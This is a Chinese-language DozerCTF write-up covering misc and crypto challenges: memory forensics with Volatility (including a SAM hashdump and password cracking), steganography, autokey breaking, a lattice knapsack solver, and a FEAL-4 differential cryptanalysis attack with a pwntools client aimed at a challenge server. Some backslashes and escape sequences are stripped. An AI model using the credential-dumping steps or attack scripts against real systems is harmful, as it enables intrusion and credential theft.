前言
这次web题质量还可以,可惜自己还是太菜了
MISC
upload
下载得到一个流量包
直接导出对象：http可以得到flag.zip
里面有5个文件，都只有6字节，所以这里是CRC碰撞
直接用工具就可以了
然后找其中有意义的字符串拼接起来得到flag
flag：Dozerctf{can_U_find_thefilefrom_traffic}
py吗？
图片的LSB隐写，拖进stegslove
然后解一个base64就可以得到flag了
flag:Dozerctf{python_is_the_best_language!}
问卷调查
pass
夏日计划
直接用7z打开可以看见一个lfsr隐写
打开这个secret.rar里面有四个文件，
里面都是坐标，所以根据坐标作图得到
汉信码，扫码得到flag
Dozerctf{Congratulations_U_find_it}
easy_analysis
下载下来一个win7镜像，使用volatility分析
$ volatility -f memory imageinfo 1 ↵
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/c/Users/lijin/Desktop/ubt/Doazer/memory)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80003ffd0a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80003ffed00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-05-17 06:20:56 UTC+0000
Image local date and time : 2020-05-17 14:20:56 +0800
$ volatility -f memory --profile=Win7SP1x64 filescan | grep Desktop
Volatility Foundation Volatility Framework 2.6
0x000000001e22d680 16 0 R--rwd DeviceHarddiskVolume1Users13m0nadeDesktopdesktop.ini
0x000000001e23cab0 16 0 R--rwd DeviceHarddiskVolume1Users13m0nadeAppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesDesktop.ini
0x000000001e23ed50 16 0 R--rwd DeviceHarddiskVolume1Users13m0nadeAppDataRoamingMicrosoftWindowsStart MenuProgramsMaintenanceDesktop.ini
0x000000001e2406c0 16 0 R--rwd DeviceHarddiskVolume1Users13m0nadeAppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesAccessibilityDesktop.ini
0x000000001e240960 16 0 R--rwd DeviceHarddiskVolume1ProgramDataMicrosoftWindowsStart MenuProgramsAccessoriesDesktop.ini
0x000000001e241f20 16 0 R--rwd DeviceHarddiskVolume1Users13m0nadeAppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsDesktop.ini
0x000000001e243620 16 0 R--rwd DeviceHarddiskVolume1ProgramDataMicrosoftWindowsStart MenuProgramsMaintenanceDesktop.ini
0x000000001e244070 16 0 R--rwd DeviceHarddiskVolume1ProgramDataMicrosoftWindowsStart MenuProgramsGamesDesktop.ini
0x000000001e2fa940 2 1 R--rwd DeviceHarddiskVolume1Users13m0nadeDesktopflag
0x000000001e314f20 2 1 R--rwd DeviceHarddiskVolume1Users13m0nadeDesktopflag
0x000000001e515f20 1 0 R--rwd DeviceHarddiskVolume1UsersPublicDesktopdesktop.ini
0x000000001e569520 16 0 R--rwd DeviceHarddiskVolume1ProgramDataMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsDesktop.ini
0x000000001e5c0d00 16 0 R--rwd DeviceHarddiskVolume1ProgramDataMicrosoftWindowsStart MenuProgramsAccessoriesAccessibilityDesktop.ini
0x000000001e644ca0 2 1 R--rwd DeviceHarddiskVolume1UsersPublicDesktop
0x000000001e68dbb0 2 1 R--rwd DeviceHarddiskVolume1Users13m0nadeDesktop
0x000000001e6fac70 2 1 R--rwd DeviceHarddiskVolume1UsersPublicDesktop
0x000000001e7333a0 2 1 R--rwd DeviceHarddiskVolume1Users13m0nadeDesktop
0x000000001e76e070 1 1 R--rw- DeviceHarddiskVolume1Users13m0nadeDesktopflag
0x000000001e85f430 2 0 RW---- DeviceHarddiskVolume1Users13m0nadeDesktopflaganalys
发现有个analys的文件，dump下来
$ volatility -f memory --profile=Win7SP1x64 dumpfiles -Q 0x000000001e85f430 -n --dump-dir=./
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x1e85f430 None DeviceHarddiskVolume1Users13m0nadeDesktopflaganalys
然后file查看是什么文件得到
$ file file.None.0xfffffa8000dd4520.analys.dat
file.None.0xfffffa8000dd4520.analys.dat: Zip archive data, at least v2.0 to extract
然后转回Windows，使用winrar打开，发现备注
于是易得压缩包密码为系统密码，于是回到内存提取系统密码
提取内存表：
$ volatility -f memory --profile=Win7SP1x64 hivelist 127 ↵
Volatility Foundation Volatility Framework 2.6
Virtual Physical Name
------------------ ------------------ ----
0xfffff8a001686010 0x0000000017493010 SystemRootSystem32ConfigSECURITY
0xfffff8a0016de220 0x0000000016f3b220 ??C:WindowsServiceProfilesNetworkServiceNTUSER.DAT
0xfffff8a001747010 0x0000000015780010 ??C:WindowsServiceProfilesLocalServiceNTUSER.DAT
0xfffff8a001de5010 0x000000000bc42010 ??C:Users13m0nadentuser.dat
0xfffff8a001e23010 0x0000000010569010 ??C:Users13m0nadeAppDataLocalMicrosoftWindowsUsrClass.dat
0xfffff8a00000d250 0x000000000f02c250 [no name]
0xfffff8a000024010 0x000000000f1e7010 REGISTRYMACHINESYSTEM
0xfffff8a000062010 0x000000000f1a7010 REGISTRYMACHINEHARDWARE
0xfffff8a00053b010 0x0000000008fd9010 DeviceHarddiskVolume1BootBCD
0xfffff8a001341010 0x0000000007626010 SystemRootSystem32ConfigSOFTWARE
0xfffff8a0014a3010 0x00000000073a7010 SystemRootSystem32ConfigDEFAULT
0xfffff8a00167a010 0x0000000017553010 SystemRootSystem32ConfigSAM
得到系统密码哈希值：
$ volatility -f memory --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00167a010
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
13m0nade:1000:aad3b435b51404eeaad3b435b51404ee:::
然后查找13m0nade用户的哈希在线破解，得到密码：
解压后有一个zip和一个键盘流量数据包，使用学长写的解密鼠标以及键盘流量工具解得键盘流量
A
<CAP>utokey ylltmftnxbkgvcyydbuhdlcpspsptswrmwjjmnjgtylkegittoibgo good luck %
然后又用网上的自破解autokey的工具解密了ylltmftnxbkgvcyydbuhdlcpspsptswrmwjjmnjgtylkegittoibgo
$ python breakautokey.py
-340.537640983 autokey, klen 3 :"GTL", SSABUFSTSJROMLKMSRIPMDNDPCPARDWAJAJAMEJUPPRVPPNEEBEXFK
-303.67293062 autokey, klen 4 :"GZKS", SMBBUTSMDISUSUGELHODSEOMALEDTHSOTPRVTYSLAATZEGPUPITHRG
-298.325410769 autokey, klen 5 :"XRAEF", BULPHEZCIUGHTUESWIADLPUPPEDVEDSORSGRYWRACAPTEEIEAKETCO
-306.705331035 autokey, klen 6 :"KGUMES", OFRHINFIGUCTQUSEBIENLHBHOCHISLIPFORYEYESCAHMAOGTMCINAV
-291.968415286 autokey, klen 7 :"QSLAIRJ", ITATEOKFEBRCHSTUCKSALSINIXSEBKJJPEFICEARPTDIAGREALABAX
-285.660963176 autokey, klen 8 :"UISFUDTT", EDTOSCAUTYRSDAYEKDDPALELIMPATHSGEKUJTGRAPORBLARTEARAVO
-240.195347874 autokey, klen 9 :"KEYFORZIP", OHNOYOUFINDTHEKEYTHEKEYFORZIPISTHISKEYBOARDSUCKSFORYOU
-269.034907459 autokey, klen 10 :"GXYRBFEZFI", SONCLAPOSTSSIANYONCOLTUPFRECRELYSHESILSCIATDAOAIBMABNL
-262.15282417 autokey, klen 11 :"JUHJTOLAUID", PREKTRINDTHREYOFMTHEKELLUBNDALSHILYPLAGGIGECTITITICTAK
-259.450139186 autokey, klen 12 :"HLNHYMBGGXCP", RAYMOTSHREIRECAMPICAMHUYONSDEKURAPPLYARDPORTERTIVORYRA
-251.472270366 autokey, klen 13 :"ONZFZCFRQXZGC", KYMONDOWHELATSAMPORTHEYESWAPHDIATPFLIVNGERICENTOIGNOAK
-241.477636106 autokey, klen 14 :"LNALZMMJZZKVOY", NYLINTHEYCALHELASTHOWHENSELLISEYFINCIARCINDSAIDLGMABPM
-241.848498367 autokey, klen 15 :"WIDRTHBFVBXCZAK", CDICTYSICANEWCOWATSOFTUNSCOTREARTEVETTWORKSTAGRAPTEINS
-243.496316226 autokey, klen 16 :"FSEPRHXGXQKTTOGU", TTHEVYWHALANCOSEKINDINGISESCREENCOWGEADYBUTINCEGRAMVCO
-243.250500444 autokey, klen 17 :"EYIQEDPGTBZCHXHYB", UNDDICEHEALEOFRACHHEADALLLSEPERAMUCCINGGINASARECTCOZEG
-225.582389639 autokey, klen 18 :"MRAIVBTBJZKVDOQFWJ", MULLREAMOCALSOITHSINSALLSDENTHEDEDCREARGINTHATPMPLEYEX
-225.590587902 autokey, klen 19 :"WLAIAFAJZBZYVJULBXU", CALLMATEYALIATENCEAFDARDSWORTHORTSWHINEDTHISISRAMARIOS
得到：OHNOYOUFINDTHEKEYTHEKEYFORZIPISTHISKEYBOARDSUCKSFORYOU，flag的压缩包密码就为：THISKEYBOARDSUCKSFORYOU，
解压后得到一堆base64
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REJDQjk5RDk5Njk3NzVBN0VERkFGOEU3QTg5NzRCQjZFNkU2NkFBNDdDRkQ5N0IzNUZGNkFGNkRBNkL=
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QUI5NUYxRDZGMEI3RTY1RUQzQTlDQ0I3NkY0QTVGM0ZDMzZCNzg1ODU1REMxQjdBMzFBMjhENjczN0M=
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QjM1Q0ZFQTFFNEEwMTFCMzZGNDMwNThDQjlDOUI4OUQ3MTUwRTY4RDQ3NEU4MEI3N0YzNkI5Qjc5NEW=
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QUQyREQ3MTdGRTdDRDZCQ0EzRUNDMkUyQkY3ODNCM0UwRTQ1NkY2NUI1QjQ2MzA3QTNCODMwNUQzQTG=
OUNDQTJEQjc5OEUwNkQxNzVDNTkyNjZEOEFCNjA0REUzMTQ3QjE3MzNCRjEzQUI2NDBCQzlGRTY4RkU=
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NjYyNTU5MDg4MDQzOEE1QzBFMzlFMDJCNzA1MjEzOEUzOEUwN0I1MDg0MTMwRTk4QzgwNDA0MDFDMDN=
REJDQjk5RDk5Njk3NzVBN0VERkFGOEU3QTg5NzRCQjZFNkU2NkFBNDdDRkQ5N0IzNUZGNkFGNkRBNkJ=
NTdCRkZFQkZGRTlGQjdDMkQ3NTI3NkE1NkM1MzY5RUE3MzI5QTdCOUQ0RkJBMTZDNzM1NTRBREY5NDd=
NTNFOTc2NjFCQ0FDMkZCRUJGQzVDOUFGRDZENTk3ODZGMURDNzUyM0FCRTk3QUU1NDAzOUZBRjJFQTX=
N0E5OTc4NkQyRUQ1QjJGMDMyOUY1OTJBRUVEOTk0N0E5OTRBM0QxRENCREM3REM5NzM4RTY1NUI2RjT=
QUQzQkU5NDdBMUVDQjNBRjRBNTE5Qjk3RTc4NTVFQUY1NThFQURCQkI1MjlGQkUyRkY1RjBEOUY1OUV=
看到这么多行以及这么多等号，易得是base64隐写，脚本一把梭，得到flag
Dozerctf{itis_e4sy_4U2_analyse}
CRYPTO
真·签到
先改文件名后缀为txt，然后b64decode->b32decode->b16decode->b58decode
eazy_bag
knapsack problem
安全客的文章就是我写的
直接脚本一把梭
a = #填入序列a
s = #填入密文值
m=[]
for i in range(len(a)):
b=[]
for j in range(len(a)):
if i == j:
b.append(1)
else:
b.append(0)
m.append(b)
b=[]
for i in range(len(a)):
m[i].append(2**350*a[i])
b.append(1/2)
b.append(2**350*s)
m.append(b)
#print(len(m[0]))
M = matrix(QQ, m)
v = M.LLL()[0]
print(v)
flag=''
for i in v[:-1]:
if i < 0:
flag+='0'
#flag+='1'
else:
flag+='1'
#flag+='0'
print(hex(int(flag,2))[2:])
A certain and identical topic
2019*CTF的原题，github有POC
https://github.com/sixstars/starctf2019/tree/master/crypto-notfeal
首先交互拿到数据
import os
import string
from hashlib import sha256
from pwn import *
context.log_level='debug'
def dopow():
chal = c.recvline()
post = chal[12:28]
tar = chal[33:-1]
c.recvuntil(':')
found = iters.bruteforce(lambda x:sha256(x+post).hexdigest()==tar, string.ascii_letters+string.digits, 4)
c.sendline(found)
def doxor(ss,dd):
res = ''
for i in range(8):
res += chr(ord(ss[i])^dd[i])
return res
def tonum(x):
return (u32(x[:4])<<32)+u32(x[4:])
def doout(stats):
print '{',
for i in range(3):
print '{',
for j in range(6):
print stats[i*6+j],
if j!=5:
print ',',
print '}',
if i!=2:
print ',',
print '}'
#c = remote('127.0.0.1', 10001)
c = remote('118.31.11.216', 30026)
#dopow()
diffs = [[0,0,0,0,0x80,0x80,0,0], [0x80,0x80,0,0,0x80,0x80,0,0], [0,0,0,2,0,0,0,2]]
statsp0 = []
statsc0 = []
statsp1 = []
statsc1 = []
for diff in diffs:
for i in range(6):
pt0 = os.urandom(8)
pt1 = doxor(pt0, diff)
c.sendlineafter('(hex): ', pt0.encode('hex'))
ct0 = c.recvline()[:16]
ct0 = ct0.decode('hex')
c.sendlineafter('(hex): ', pt1.encode('hex'))
ct1 = c.recvline()[:16]
ct1 = ct1.decode('hex')
statsp0.append(tonum(pt0))
statsc0.append(tonum(ct0))
statsp1.append(tonum(pt1))
statsc1.append(tonum(ct1))
c.sendlineafter('(hex): ', 'go')
c.recvuntil('flag:n')
cflag = c.recvline()
doout(statsp0)
doout(statsc0)
doout(statsp1)
doout(statsc1)
print cflag
首先爆破子密钥
POC.cz
// this file has been modified and you can recover subkey for each round interactively
//Differential Cryptanalysis of FEAL-4
//Uses a chosen-plaintext attack to fully recover the key
//For use with tutorial at http://theamazingking.com/crypto-feal.php
#include <stdio.h>
#include <math.h>
#include <stdint.h>
#define MAX_CHOSEN_PAIRS 10000
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
int winner = 0;
int loser = 0;
unsigned long subkey[6];
unsigned long statickey[6] = { 0x6bb508a,0xd72eaec0,0x71d88eee,0xa5da0171,0x3139398f,0x2ccdf0f0 };
unsigned char rotl2(unsigned char a) { return ((a << 2) | (a >> 6)); }
unsigned long leftHalf(unsigned long long a) { return (a >> 32LL); }
unsigned long rightHalf(unsigned long long a) { return a; }
unsigned char sepByte(unsigned long a, unsigned char index) { return a >> (8 * index); }
unsigned long combineBytes(unsigned char b3, unsigned char b2, unsigned char b1, unsigned char b0)
{
return b3 << 24L | (b2 << 16L) | (b1 << 8L) | b0;
}
unsigned long long combineHalves(unsigned long leftHalf, unsigned long rightHalf)
{
return (((unsigned long long)(leftHalf)) << 32LL) | (((unsigned long long)(rightHalf)) & 0xFFFFFFFFLL);
}
unsigned char gBox(unsigned char a, unsigned char b, unsigned char mode)
{
return rotl2(a + b + mode);
}
unsigned long fBox(unsigned long plain)
{
unsigned char x0 = sepByte(plain, 0);
unsigned char x1 = sepByte(plain, 1);
unsigned char x2 = sepByte(plain, 2);
unsigned char x3 = sepByte(plain, 3);
unsigned char t0 = (x2 ^ x3);
unsigned char y1 = gBox(x0 ^ x1, t0, 1);
unsigned char y0 = gBox(x0, y1, 0);
unsigned char y2 = gBox(t0, y1, 0);
unsigned char y3 = gBox(x3, y2, 1);
return combineBytes(y0, y1, y2, y3);
//return combineBytes(y3, y2, y1, y0);
}
unsigned long long encrypt(unsigned long long plain)
{
unsigned long left = leftHalf(plain);
unsigned long right = rightHalf(plain);
//printf("%x,%xn",left,right);
left = left ^ subkey[4];
right = right ^ subkey[5];
right = right ^ left;
//printf("%x,%xn",left,right);
unsigned long round2Right = left;
unsigned long round2Left = right ^ fBox(left ^ subkey[0]);
//printf("after k0: %x,%xn",round2Left,round2Right);
unsigned long round3Right = round2Left;
unsigned long round3Left = round2Right ^ fBox(round2Left ^ subkey[1]);
//printf("after k1: %x,%xn",round3Left,round3Right);
unsigned long round4Right = round3Left;
unsigned long round4Left = round3Right ^ fBox(round3Left ^ subkey[2]);
//printf("after k2: %x,%xn",round4Left,round4Right);
left = round4Right ^ fBox(round4Left ^ subkey[3]);
right = round4Left;
//printf("after k3: %x,%xn",left,right);
unsigned long cipherRight = left ^ right;
unsigned long cipherLeft = right;
//printf("%x,%xn",cipherLeft,cipherRight);
return combineHalves(cipherLeft, cipherRight);
}
void generateSubkeys(int seed)
{
srand(seed);
int c;
for (c = 0; c < 6; c++)
//subkey[c] = (rand() << 16L) | (rand() & 0xFFFFL);
subkey[c] = statickey[c];
}
int numPlain;
unsigned long long plain0[MAX_CHOSEN_PAIRS];
unsigned long long cipher0[MAX_CHOSEN_PAIRS];
unsigned long long plain1[MAX_CHOSEN_PAIRS];
unsigned long long cipher1[MAX_CHOSEN_PAIRS];
unsigned long long statsp0[3][6] = { { 334750566828076423 , 14598798383091910896 , 7362627570683058495 , 13061853162603734587 , 1089167770670218094 , 17743978066697931267 } , { 8114919877170383009 , 4550952407898372987 , 7285893453974094070 , 10800961177820396850 , 4729992887711911505 , 12448229247856667657 } , { 7958106831885282721 , 4689555180493185263 , 1587569058779522562 , 18329783110864205218 , 2434120028102900466 , 15842198057420313606 } };
unsigned long long statsc0[3][6] = { { 17018258111090692558 , 4926176093594960481 , 12958472494695275414 , 296532034877147054 , 1623835293301588483 , 8363277828096518872 } , { 3063858680351852201 , 10646101081212077820 , 15397342153794659053 , 10801501799668663670 , 17229473246650265091 , 8099425474283857864 } , { 15867189407617151753 , 661452670953466009 , 10540986253208519300 , 18255646694794273988 , 5880631140809782311 , 14623112566573913744 } };
unsigned long long statsp1[3][6] = { { 334750566828043527 , 14598798383091878000 , 7362627570683025855 , 13061853162603701947 , 1089167770670250990 , 17743978066697964163 } , { 8114778589926246433 , 4551093695142509563 , 7285753266241585270 , 10800819890576194994 , 4730134174956113617 , 12448087960612465801 } , { 7813991643775872417 , 4833670368535486703 , 1443453870737221122 , 18185667922821903778 , 2578235216145201906 , 15698082869378012166 } };
unsigned long long statsc1[3][6] = { { 10093771275142207713 , 7225202440948577749 , 10650264112472712722 , 16511768989482887425 , 3927611061609309492 , 6055244609925753539 } , { 17108331246921735026 , 4814782841167528319 , 17638696549988693696 , 5747466028523721217 , 15490696876033367847 , 17706088208678251576 } , { 10548930562483154223 , 7020273959868597499 , 6725024520067991760 , 12375375273599356543 , 5936183591201277651 , 10399017144689224464 } };
void undoFinalOperation()
{
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long cipherLeft0 = leftHalf(cipher0[c]);
unsigned long cipherRight0 = rightHalf(cipher0[c]) ^ cipherLeft0;
unsigned long cipherLeft1 = leftHalf(cipher1[c]);
unsigned long cipherRight1 = rightHalf(cipher1[c]) ^ cipherLeft1;
cipher0[c] = combineHalves(cipherLeft0, cipherRight0);
cipher1[c] = combineHalves(cipherLeft1, cipherRight1);
}
}
unsigned long crackLastRound(unsigned long outdiff)
{
printf(" Using output differential of 0x%08xn", outdiff);
printf(" Cracking...");
unsigned long fakeK;
for (fakeK = 0x00000000L; fakeK < 0xFFFFFFFFL; fakeK++)
{
int score = 0;
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long Y0 = leftHalf(cipher0[c]);
unsigned long Y1 = leftHalf(cipher1[c]);
unsigned long fakeInput0 = Y0 ^ fakeK;
unsigned long fakeInput1 = Y1 ^ fakeK;
unsigned long fakeOut0 = fBox(fakeInput0) ^ rightHalf(cipher0[c]);
unsigned long fakeOut1 = fBox(fakeInput1) ^ rightHalf(cipher1[c]);
uint32_t fakeDiff = fakeOut0 ^ fakeOut1;
if (fakeDiff == outdiff) score++; else break;
}
if (score == numPlain)
{
printf("%d", score);
printf("found subkey : 0x%08lxn", fakeK);
//return fakeK;
}
}
printf("failedn");
return 0;
}
void chosenPlaintext(unsigned long long diff)
{
int c = -1;
if (diff == 0x0000000000008080LL) {
c = 0;
}
else if (diff == 0x0000808000008080LL) {
c = 1;
}
else if (diff == 0x0200000002000000LL) {
c = 2;
}
for (int i = 0; i < numPlain; i++) {
plain0[i] = statsp0[c][i];
plain1[i] = statsp1[c][i];
cipher0[i] = statsc0[c][i];
cipher1[i] = statsc1[c][i];
}
}
void undoLastRound(unsigned long crackedSubkey)
{
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long cipherLeft0 = leftHalf(cipher0[c]);
unsigned long cipherRight0 = rightHalf(cipher0[c]);
unsigned long cipherLeft1 = leftHalf(cipher1[c]);
unsigned long cipherRight1 = rightHalf(cipher1[c]);
cipherRight0 = cipherLeft0;
cipherRight1 = cipherLeft1;
cipherLeft0 = fBox(cipherLeft0 ^ crackedSubkey) ^ rightHalf(cipher0[c]);
cipherLeft1 = fBox(cipherLeft1 ^ crackedSubkey) ^ rightHalf(cipher1[c]);
cipher0[c] = combineHalves(cipherLeft0, cipherRight0);
cipher1[c] = combineHalves(cipherLeft1, cipherRight1);
}
}
void prepForCrackingK0()
{
int c;
for (c = 0; c < numPlain; c++)
{
unsigned long cipherLeft0 = leftHalf(cipher0[c]);
unsigned long cipherRight0 = rightHalf(cipher0[c]);
unsigned long cipherLeft1 = leftHalf(cipher1[c]);
unsigned long cipherRight1 = rightHalf(cipher1[c]);
unsigned long tempLeft0 = cipherLeft0;
unsigned long tempLeft1 = cipherLeft1;
cipherLeft0 = cipherRight0;
cipherLeft1 = cipherRight1;
cipherRight0 = tempLeft0;
cipherRight1 = tempLeft1;
cipher0[c] = combineHalves(cipherLeft0, cipherRight0);
cipher1[c] = combineHalves(cipherLeft1, cipherRight1);
}
}
int main()
{
/*
generateSubkeys(time(NULL));
cipher0[0] = encrypt(0x3433323138373635);
printf("---n");
cipher1[0] = encrypt(0x3433323138373635^0x8080);
//cipher1[0] = encrypt(0x3433323138373635^0x808000008080);
//cipher1[0] = encrypt(0x3433323138373635^0x200000002000000);
printf("---n");
printf("%llxn", cipher0[0]) ;
printf("%llxn", cipher1[0]) ;
numPlain = 1;
undoFinalOperation();
undoLastRound(subkey[3]);
undoLastRound(subkey[2]);
undoLastRound(subkey[1]);
printf("%llxn", cipher0[0]) ;
printf("%llxn", cipher1[0]) ;
return 0;
*/
printf("JK'S FEAL-4 DIFFERENTIAL CRYPTANALYSIS DEMOn");
printf("-------------------------------------------n");
printf("n");
int graphData[20];
int c;
generateSubkeys(time(NULL));
numPlain = 6;
unsigned long long inputDiff1 = 0x0000000000008080LL;
unsigned long long inputDiff2 = 0x0000808000008080LL;
unsigned long long inputDiff3 = 0x0200000002000000LL;
unsigned long outDiff = 0x02000000L;
unsigned long fullStartTime = time(NULL);
//CRACKING ROUND 4
printf("ROUND 4n");
chosenPlaintext(inputDiff1);
undoFinalOperation();
unsigned long startTime = time(NULL);
unsigned long crackedSubkey3 = crackLastRound(outDiff);
//unsigned long crackedSubkey3 = subkey[3];
//unsigned long crackedSubkey3 = 0x00d13ef9;
//unsigned long crackedSubkey3 = 0x00d1be79;
printf("%xn", crackedSubkey3);
unsigned long endTime = time(NULL);
printf(" Time to crack round #4 = %i secondsn", (endTime - startTime));
//CRACKING ROUND 3
printf("ROUND 3n");
chosenPlaintext(inputDiff2);
undoFinalOperation();
undoLastRound(crackedSubkey3);
startTime = time(NULL);
unsigned long crackedSubkey2 = crackLastRound(outDiff);
//unsigned long crackedSubkey2 = subkey[2];
//unsigned long crackedSubkey2 = 0x3a9907f0;
//unsigned long crackedSubkey2 = 0x3a998770;
printf("%xn", crackedSubkey2);
endTime = time(NULL);
printf(" Time to crack round #3 = %i secondsn", (endTime - startTime));
//CRACKING ROUND 2
printf("ROUND 2n");
chosenPlaintext(inputDiff3);
undoFinalOperation();
undoLastRound(crackedSubkey3);
undoLastRound(crackedSubkey2);
startTime = time(NULL);
unsigned long crackedSubkey1 = crackLastRound(outDiff);
//unsigned long crackedSubkey1 = 0x1f052d05;
//unsigned long crackedSubkey1 = 0x1f05ad85;
printf("%xn", crackedSubkey1);
endTime = time(NULL);
printf(" Time to crack round #2 = %i secondsn", (endTime - startTime));
//CRACK ROUND 1
printf("ROUND 1n");
undoLastRound(crackedSubkey1);
unsigned long crackedSubkey0 = 0;
unsigned long crackedSubkey4 = 0;
unsigned long crackedSubkey5 = 0;
printf(" Cracking...");
startTime = time(NULL);
uint32_t guessK0;
for (guessK0 = 0; guessK0 < 0xFFFFFFFFL; guessK0++)
{
uint32_t guessK4 = 0;
uint32_t guessK5 = 0;
int c;
for (c = 0; c < numPlain; c++)
{
uint32_t plainLeft0 = leftHalf(plain0[c]);
uint32_t plainRight0 = rightHalf(plain0[c]);
uint32_t cipherLeft0 = leftHalf(cipher0[c]);
uint32_t cipherRight0 = rightHalf(cipher0[c]);
uint32_t tempy0 = fBox(cipherLeft0 ^ guessK0) ^ cipherRight0;
if (guessK4 == 0)
{
guessK4 = cipherLeft0 ^ plainLeft0;
guessK5 = tempy0 ^ cipherLeft0 ^ plainRight0;
}
else if (((cipherLeft0 ^ plainLeft0) != guessK4) || ((tempy0 ^ cipherLeft0 ^ plainRight0) != guessK5))
{
guessK4 = 0;
guessK5 = 0;
break;
}
}
if (guessK4 != 0)
{
crackedSubkey0 = guessK0;
crackedSubkey4 = guessK4;
crackedSubkey5 = guessK5;
endTime = time(NULL);
printf("found subkeys : 0x%08lx 0x%08lx 0x%08lxn", guessK0, guessK4, guessK5);
printf(" Time to crack round #1 = %i secondsn", (endTime - startTime));
//break;
}
}
printf("nn");
printf("0x%08lx - ", crackedSubkey0); if (crackedSubkey0 == subkey[0]) printf("Subkey 0 : GOOD!n"); else printf("Subkey 0 : BADn");
printf("0x%08lx - ", crackedSubkey1); if (crackedSubkey1 == subkey[1]) printf("Subkey 1 : GOOD!n"); else printf("Subkey 1 : BADn");
printf("0x%08lx - ", crackedSubkey2); if (crackedSubkey2 == subkey[2]) printf("Subkey 2 : GOOD!n"); else printf("Subkey 2 : BADn");
printf("0x%08lx - ", crackedSubkey3); if (crackedSubkey3 == subkey[3]) printf("Subkey 3 : GOOD!n"); else printf("Subkey 3 : BADn");
printf("0x%08lx - ", crackedSubkey4); if (crackedSubkey4 == subkey[4]) printf("Subkey 4 : GOOD!n"); else printf("Subkey 4 : BADn");
printf("0x%08lx - ", crackedSubkey5); if (crackedSubkey5 == subkey[5]) printf("Subkey 5 : GOOD!n"); else printf("Subkey 5 : BADn");
printf("n");
unsigned long fullEndTime = time(NULL);
printf("Total crack time = %i secondsn", (fullEndTime - fullStartTime));
printf("FINISHEDn");
system("pause");
return 0;
}
子密钥有多解，但是影响不大，可以忽略
然后在题目文件上直接写解密函数
import os,random,sys,string
from hashlib import sha256
import SocketServer
import signal
FLAG=""
SZ = 8
def gbox(a,b,mode):
x = (a+b+mode)%256
return ((x<<2)|(x>>6))&0xff
def fbox(plain):
t0 = (plain[2] ^ plain[3])
y1 = gbox(plain[0] ^ plain[1], t0, 1)
y0 = gbox(plain[0], y1, 0)
y2 = gbox(t0, y1, 0)
y3 = gbox(plain[3], y2, 1)
return [y3, y2, y1, y0]
def doxor(l1,l2):
#print l1,l2
return map(lambda x: x[0]^x[1], zip(l1,l2))
def encrypt_block(pt, ks):
kss = ['08ad5f9c','1f05ad85','3a9907f0','00d13ef9','6e20bbb2','c86367d0']
ks = [map(ord,i.decode("hex")) for i in kss]
l = doxor(pt[:4], ks[4])
r = doxor(doxor(pt[4:], ks[5]), l)
for i in range(4):
l, r = doxor(r, fbox(doxor(l,ks[i]))), l
l, r = r, doxor(l,r)
return l+r
def decrypt_block(pt, ks):
ksss = ['08ad5f9c','1f05ad85','3a9907f0','00d13ef9','6e20bbb2','c86367d0']
kss = [map(ord,i.decode("hex")) for i in ksss]
ks = [i[::-1] for i in kss]
#print ks
#print pt
l = pt[:4]
r = pt[4:]
#print l,r
r, l = l, doxor(l,r)
for i in range(3,-1,-1):
l, r = r, doxor(l, fbox(doxor(r,ks[i])))
r = doxor(doxor(r, ks[5]), l)
l = doxor(l, ks[4])
return l+r
def encrypt(pt, k):
#print pt
ct = ''
for i in range(0, len(pt), SZ):
res = encrypt_block(map(ord, pt[i:i+SZ]), k)
ct += ''.join(map(chr,res))
return ct.encode('hex')
def decrypt(pt, k):
#print pt
ct = ''
for i in range(0, len(pt), SZ):
res = decrypt_block(map(ord, pt[i:i+SZ]), k)
ct += ''.join(map(chr,res))
print ct
return ct.encode('hex')
def doout(x):
tmp = ''.join(map(chr, x))
return tmp.encode('hex')
def genkeys():
subkeys=[]
for x in xrange(6):
subkeys.append(map(ord,os.urandom(4)))
return subkeys
class Task(SocketServer.BaseRequestHandler):
def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)])
digest = sha256(proof).hexdigest()
self.request.send("sha256(XXXX+%s) == %sn" % (proof[4:],digest))
self.request.send('Give me XXXX:')
x = self.request.recv(10)
x = x.strip()
if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest:
return False
return True
def recvhex(self, sz):
try:
r = sz
res = ''
while r>0:
res += self.request.recv(r)
if res.endswith('n'):
r = 0
else:
r = sz - len(res)
res = res.strip()
res = res.decode('hex')
except:
res = ''
return res
def dosend(self, msg):
try:
self.request.sendall(msg)
except:
pass
def handle(self):
#if not self.proof_of_work():
# return
key = genkeys()
print key
for i in xrange(50):
self.dosend("plaintext(hex): ")
pt = self.recvhex(21)
if pt=='':
break
ct = encrypt(pt, key)
self.dosend("%sn" % ct.encode('hex'))
cflag = encrypt(FLAG, key)
self.dosend("and your flag:n")
self.dosend("%sn" % cflag.encode('hex'))
self.request.close()
class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer):
pass
print decrypt('6f342d1097841c6dd0f342d64a30add678e4b6d16be2497e5520df87b81d1f50'.decode('hex'),0)
#if __name__ == "__main__":
#HOST, PORT = '0.0.0.0', 10001
#print HOST
#print PORT
#server = ForkedServer((HOST, PORT), Task)
#server.allow_reuse_address = True
